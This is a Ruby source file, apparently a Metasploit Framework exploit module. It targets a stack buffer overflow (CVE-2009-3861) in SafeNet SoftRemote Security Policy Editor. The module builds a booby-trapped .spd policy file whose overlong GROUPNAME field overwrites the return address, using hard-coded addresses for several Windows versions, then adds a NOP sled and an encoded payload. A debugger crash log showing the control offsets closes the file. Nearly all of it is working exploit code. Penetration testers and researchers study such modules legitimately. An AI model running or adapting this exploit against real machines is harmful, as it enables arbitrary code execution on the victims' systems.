245 lines
9.5 KiB
Ruby
245 lines
9.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SafeNet SoftRemote GROUPNAME Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in SafeNet SoftRemote
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Security Policy Editor <= 10.8.5. When an attacker
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creates a specially formatted security policy with an
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overly long GROUPNAME argument, it is possible to execute
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arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-3861' ],
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[ 'OSVDB', '59660'],
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[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-09-008' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ],
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[ 'WinSrv 2000 SP4 English', { 'Ret' => 0x78344dd3 } ],
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[ 'WinSrv 2000 SP2 English', { 'Ret' => 0x7843c1a1 } ],
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[ 'WinSrv 2003 Enterprise Edition SP1 (v1023) English', { 'Ret' => 0x7741246b } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 30 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.spd']),
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], self.class)
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end
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def exploit
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# Need to cause the access violation!!
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sploit = rand_text_alpha_upper(20024)
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sploit[92,4] = [target.ret].pack('V')
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# Play it safe.
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sploit[96,100] = "\x90" * 100
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sploit[196,payload.encoded.length] = payload.encoded
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spd = "REGEDIT4\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL]\n"
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spd << "\"CrlPollInterval\"=dword:00000001\n"
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spd << "\"CertPollingInterval\"=dword:0000000f\n"
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spd << "\"PolicyInterval\"=dword:000005a0\n"
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spd << "\"NETPROC\"=dword:00000003\n"
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spd << "\"LACTNETPROC\"=dword:00000003\n"
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spd << "\"BUILDVER\"=\"10.8.1 (Build 10)\"\n"
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spd << "\"NONNIPPROC\"=dword:00000001\n"
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spd << "\"STATICIP\"=dword:00000000\n"
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spd << "\"ENABLEGATEWAY\"=dword:00000000\n"
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spd << "\"ENABLELOGGING\"=dword:00000000\n"
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spd << "\"RETRANSTIMER\"=dword:0000000f\n"
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spd << "\"RETRYCOUNTER\"=dword:00000003\n"
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spd << "\"NOTIFICPAYLOADS\"=dword:00000001\n"
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spd << "\"PolicyServerPort\"=dword:00000185\n"
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spd << "\"UsePolicyServer\"=dword:00000000\n"
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spd << "\"PolicyServerName\"=""\n"
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spd << "\"NewPolicyResetsConns\"=dword:00000000\n"
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spd << "\"UseCerts\"=dword:00000000\n"
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spd << "\"PublishMyCert\"=dword:00000001\n"
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spd << "\"PolicySubtree\"=\"ou=SoftRemote, o=SafeNet\"\n"
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spd << "\"PDPMode\"=dword:00000000\n"
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spd << "\"PDPUrl\"=\"\"\n"
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spd << "\"UseProxyServer\"=dword:00000000\n"
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spd << "\"ProxyServer\"=\"\"\n"
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spd << "\"LdapServer\"=\"\"\n"
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spd << "\"DefaultCrlUrl\"=\"\"\n"
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spd << "\"EnableCrlPolling\"=dword:00000000\n"
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spd << "\"SCARD_CLEARS_KEYS\"=dword:00000000\n"
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spd << "\"VPNRequiresFirewall\"=dword:00000000\n"
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spd << "\"BypassRequiresFirewall\"=dword:00000000\n"
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spd << "\"MapVPNToFirewall\"=dword:00000000\n"
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spd << "\"MapPolicyToFirewall\"=dword:00000000\n"
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spd << "\"MapBypassToFirewall\"=dword:00000000\n"
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spd << "\"EnableFirewallLogging\"=dword:00000000\n"
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spd << "\"TCPENCAPPORT\"=dword:00000000\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0]\n"
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spd << "\"ACTION\"=dword:00000001\n"
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spd << "\"TREENAME\"=\"Other Connections\"\n"
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spd << "\"GROUPID\"=\"_SafeNet_Default_Group\"\n"
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spd << "\"LOCKMODE\"=dword:00000000\n"
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spd << "\"USEMANKEYS\"=dword:00000000\n"
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spd << "\"USEPPKS\"=dword:00000000\n"
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spd << "\"USEPFS\"=dword:00000000\n"
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spd << "\"REPLAYDETECT\"=dword:00000001\n"
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spd << "\"MANUALONLY\"=dword:00000000\n"
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spd << "\"AGGRMODE\"=dword:00000000\n"
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spd << "\"P2GROUPDESC\"=dword:00000002\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID]\n"
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spd << "\"CERTIFICATELABEL\"=\"\"\n"
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spd << "\"CERTIFICATEISSUER\"=hex:\n"
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spd << "\"PORT\"=dword:ffffffff\n"
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spd << "\"PORTNAME\"=\"All\"\n"
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spd << "\"NET_INTFC\"=\"\"\n"
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spd << "\"InternalIP\"=dword:00000000\n"
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spd << "\"AUTOCERT\"=dword:00000001\n"
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spd << "\"TYPE\"=dword:00000009\n"
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spd << "\"FQDN\"=\"\"\n"
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spd << "\"UFQDN\"=\"\"\n"
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spd << "\"DN\"=hex:\n"
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spd << "\"PRESHR\"=hex:\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\MYID\\VASUPPORT]\n"
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spd << "\"VASUPPORT\"=dword:00000000\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH1PROPOSAL_0]\n"
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spd << "\"AUTHMETHOD\"=dword:00000003\n"
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spd << "\"PH1ENCRALG\"=dword:00000005\n"
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spd << "\"PH1KEYLEN\"=dword:00000000\n"
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spd << "\"PH1HASHALG\"=dword:00000002\n"
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spd << "\"GROUPDESC\"=dword:00000002\n"
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spd << "\"IKESALIFETYPE\"=dword:00000000\n"
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spd << "\"IKESADUR_KB\"=dword:00000000\n"
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spd << "\"IKESADUR_SEC\"=dword:00000000\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PH2PROPOSAL_0]\n"
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spd << "\"AH\"=dword:00000000\n"
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spd << "\"AHTRANSFORM\"=dword:00000003\n"
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spd << "\"AHENCAPMODE\"=dword:00000001\n"
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spd << "\"ESP\"=dword:00000001\n"
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spd << "\"KEYLENGTH\"=dword:00000000\n"
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spd << "\"ESPTRANSFORM\"=dword:00000003\n"
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spd << "\"ESPKEYLEN\"=dword:00000000\n"
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spd << "\"ESPHASHALG\"=dword:00000002\n"
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spd << "\"ESPENCAPMODE\"=dword:00000001\n"
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spd << "\"KEYLIFETYPE\"=dword:00000000\n"
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spd << "\"KEYDUR_KB\"=dword:00000000\n"
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spd << "\"KEYDUR_SEC\"=dword:00000000\n"
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spd << "\"IPCOMP\"=dword:00000000\n"
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spd << "\"IPCOMPTRANSFORM\"=dword:00000000\n"
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spd << "\"INMANSPI\"=dword:00000100\n"
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spd << "\"INMANAHKEY\"=hex:\n"
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spd << "\"INMANESPENCRKEY\"=hex:\n"
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spd << "\"INMANESPHMACKEY\"=hex:\n"
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spd << "\"OUTMANSPI\"=dword:00000100\n"
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spd << "\"OUTMANAHKEY\"=hex:\n"
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spd << "\"OUTMANESPENCRKEY\"=hex:\n"
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spd << "\"OUTMANESPHMACKEY\"=hex:\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\PROXYADDRESS]\n"
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spd << "\"TYPE\"=dword:00000001\n"
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spd << "\"ADDR1\"=dword:00000000\n"
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spd << "\"ADDR2\"=dword:00000000\n"
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spd << "\"IPADDR\"=dword:00000000\n"
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spd << "\"USELDAP\"=dword:00000000\n"
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spd << "\"LOCATIONTYPE\"=dword:00000001\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\0\\REMOTEADDRESS]\n"
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spd << "\"TYPE\"=dword:00000001\n"
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spd << "\"ADDR1\"=dword:00000000\n"
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spd << "\"ADDR2\"=dword:00000000\n"
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spd << "\"IPADDR\"=dword:00000000\n"
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spd << "\"PROTOCOL\"=dword:ffffffff\n"
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spd << "\"PORT\"=dword:ffffffff\n"
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spd << "\"PORTNAME\"=\"All\"\n"
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spd << "\"USELDAP\"=dword:00000000\n"
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spd << "\"USESGW\"=dword:00000000\n"
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spd << "\"SGWOPTIONS\"=dword:00000000\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\CertReqDef]\n"
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spd << "\"NameChoice\"=dword:00000000\n"
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spd << "\"DeptChoice\"=dword:00000000\n"
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spd << "\"CompanyChoice\"=dword:00000000\n"
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spd << "\"StateChoice\"=dword:00000000\n"
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spd << "\"CountryChoice\"=dword:00000000\n"
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spd << "\"EmailChoice\"=dword:00000000\n"
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spd << "\"HostChoice\"=dword:00000000\n"
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spd << "\"IPChoice\"=dword:00000000\n"
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spd << "\"GetDefName\"=dword:00000001\n"
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spd << "\"GetDefDept\"=dword:00000000\n"
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spd << "\"GetDefCompany\"=dword:00000001\n"
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spd << "\"GetDefState\"=dword:00000000\n"
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spd << "\"GetDefCountry \"=dword:00000001\n"
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spd << "\"GetDefEmail\"=dword:00000001\n"
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spd << "\"GetDefHost\"=dword:00000001\n"
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spd << "\"GetDefIP\"=dword:00000001\n"
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spd << "\"DeptValue\"=\"\"\n"
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spd << "\"CompanyValue\"=\"\"\n"
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spd << "\"StateValue\"=\"\"\n"
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spd << "\"CountryValue\"=\"\"\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\GROUPDEFS]\r\n\r\n"
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spd << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\IRE\\SafeNet/Soft-PK\\ACL\\GROUPDEFS\\_SafeNet_Default_Group]\n"
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spd << "\"GROUPLOCK\"=dword:00000000\n"
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spd << "\"GROUPNAME\"=\"#{sploit}\""
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(spd)
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end
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end
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=begin
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0012c454 ebx=7e42f3c2 ecx=00bbe744 edx=00130000 esi=0012cfe0 edi=00bb54f0
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eip=7c80beb9 esp=0012c430 ebp=0012c454 iopl=0 nv up ei pl nz na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
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*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
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kernel32!lstrcpy+0x18:
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7c80beb9 8802 mov byte ptr [edx],al ds:0023:00130000=41
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0:000> !exchain
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0012c444: kernel32!ValidateLocale+2b0 (7c839ad8)
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0012c4f8: 41386341
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Invalid exception stack at 37634136
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0:000> !load byakugan
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[Byakugan] Successfully loaded!
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0:000> !pattern_offset 20024 0x41386341
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[Byakugan] Control of 0x41386341 at offset 84.
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0:000> !pattern_offset 20024 0x37634136
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[Byakugan] Control of 0x37634136 at offset 80.
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0:000> !pattern_offset 20024
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[Byakugan] Control of ecx at offset 80.
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[Byakugan] Control of eip at offset 92.
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=end
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